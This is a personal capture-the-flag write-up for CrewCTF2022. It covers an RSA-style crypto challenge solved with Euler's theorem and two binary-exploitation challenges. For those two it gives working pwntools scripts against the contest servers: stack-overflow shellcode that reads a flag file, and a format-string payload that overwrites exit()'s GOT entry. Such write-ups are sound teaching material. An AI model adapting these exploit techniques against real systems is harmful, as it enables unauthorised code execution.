CrewCTF2022 Writeup

Played CrewCTF2022 this weekend and solved some trivial challenges, recorded them here for remembering what I have done this weekend.

The HUGE e

from Cryptodome.Util.number import getPrime, bytes_to_long, inverse, isPrime
from secret import flag

m = bytes_to_long(flag)

def getSpecialPrime():
    a = 2
    for i in range(40):
        a*=getPrime(20)
    while True:
        b = getPrime(20)
        if isPrime(a*b+1):
            return a*b+1


p = getSpecialPrime()
e1 = getPrime(128)
e2 = getPrime(128)
e3 = getPrime(128)

e = pow(e1,pow(e2,e3))
c = pow(m,e,p)

assert pow(c,inverse(e,p-1),p) == m

print(f'p = {p}')
print(f'e1 = {e1}')
print(f'e2 = {e2}')
print(f'e3 = {e3}')
print(f'c = {c}')

I thought this challenge aims to test whether I know using ecm method to factor a big integer, however, I was wrong. The default factor method of sagemath is great. What matters is how to compute e efficiently. What we only need is \(e \mod phi(p)\) so we need to make \(e2 \cdot e3\) smaller. We can use Euler’s theorem to solve the problem. As \(e_1^{phi(phi(p))} \equiv 1 \mod phi(p)\), we just need to compute \(e_2^{e_3} \mod phi(phi(p))\). Now we are done.

from Cryptodome.Util.number import long_to_bytes

p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823
e1 = 219560036291700924162367491740680392841
e2 = 325829142086458078752836113369745585569
e3 = 237262361171684477270779152881433264701
c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613

phi = p - 1
e = e1.powermod(e2.powermod(e3, euler_phi(phi)), phi)

d = inverse_mod(e, phi)
m = c.powermod(d,p)

print(long_to_bytes(m))

Wiznu

There is a stack overflow problem which can be found easily. What’s more, there is no NX. As a result, we can just inject shellcode to stack, and return to stack. The problem is I don’t know where the flag is at first and this problem is addressed after asking the admin and resulting in a challenge update. Although the challenge is quite straightforward, I met several problems. Because the ASLR, debug is hard without pwntools. I met a quirk problem when using pwntools, which is I cannot break at printf because an unknown segfault. I solved this problem using one of feature of GDB, disabling ASLR, so, I can debug without pwntools.

import re
import pwn
pwn.context.update(arch='amd64', os='linux', encoding='utf-8')

my_pattern = re.compile("Special Gift for Special Person : (0x[0-9a-f]*)")

buffer_len = 0x108

# with pwn.process("./chall") as io:
with pwn.remote("wiznu.crewctf-2022.crewc.tf", 1337) as io:
    r = io.recvline()
    print(r.decode())
    addr = int(my_pattern.search(r.decode()).group(1), 16)
    print(hex(addr))

    shellcode = pwn.asm(f"""
    mov rax, 2
    mov rbx, 0x67616c662f66
    push rbx
    mov rbx, 0x74632f656d6f682f
    push rbx
    mov rdi, rsp
    xor rsi, rsi
    syscall
    mov rbx, rax
    mov rax, 0
    mov rdi, rbx
    mov rsi, {addr - 40}
    mov rdx, 40
    syscall
    mov rax, 1
    mov rdi, 1
    mov rsi, {addr - 40}
    mov rdx, 40
    syscall
    """)

    print(len(shellcode))

    io.send(shellcode.ljust(buffer_len, b'\x00') + pwn.p64(addr))

    r = io.recvrepeat(1)
    print(r)

Ubume

I found a win() function in symbols so I should redirect the control flow to it. In addition, there is a format string vulnerability in the binary and a call to exit() just after the vulnerability. A straightforward idea is using the vulnerability to change the GOT of exit() to the address of win(). It’s possible because of no PIE.

import pwn

def fmt_str_64(init : bytes, offset, target, addr):
    res = init
    offset += 14
    prev = len(init)
    format_string = b""
    for i in range(8):
        t = (addr >> (8 * i)) & 0xff
        pad = (t - prev) % 256
        if pad == 0:
            format_string += (f"%{offset + i}$hhn").encode()
        else:
            format_string += (f"%0{pad}c%{offset + i}$hhn").encode()
        prev = t
    padded = format_string.ljust(112, b"a")
    res += padded
    for i in range(8):
        res += pwn.p64(target + i)
    return res

win_addr = 0x0040070a

exit_addr = 0x00601040

payload = fmt_str_64(b"", 6, exit_addr, win_addr)

# with pwn.process("./chall") as io:
with pwn.remote("ubume.crewctf-2022.crewc.tf", 1337) as io:
    io.send(payload)
    io.interactive()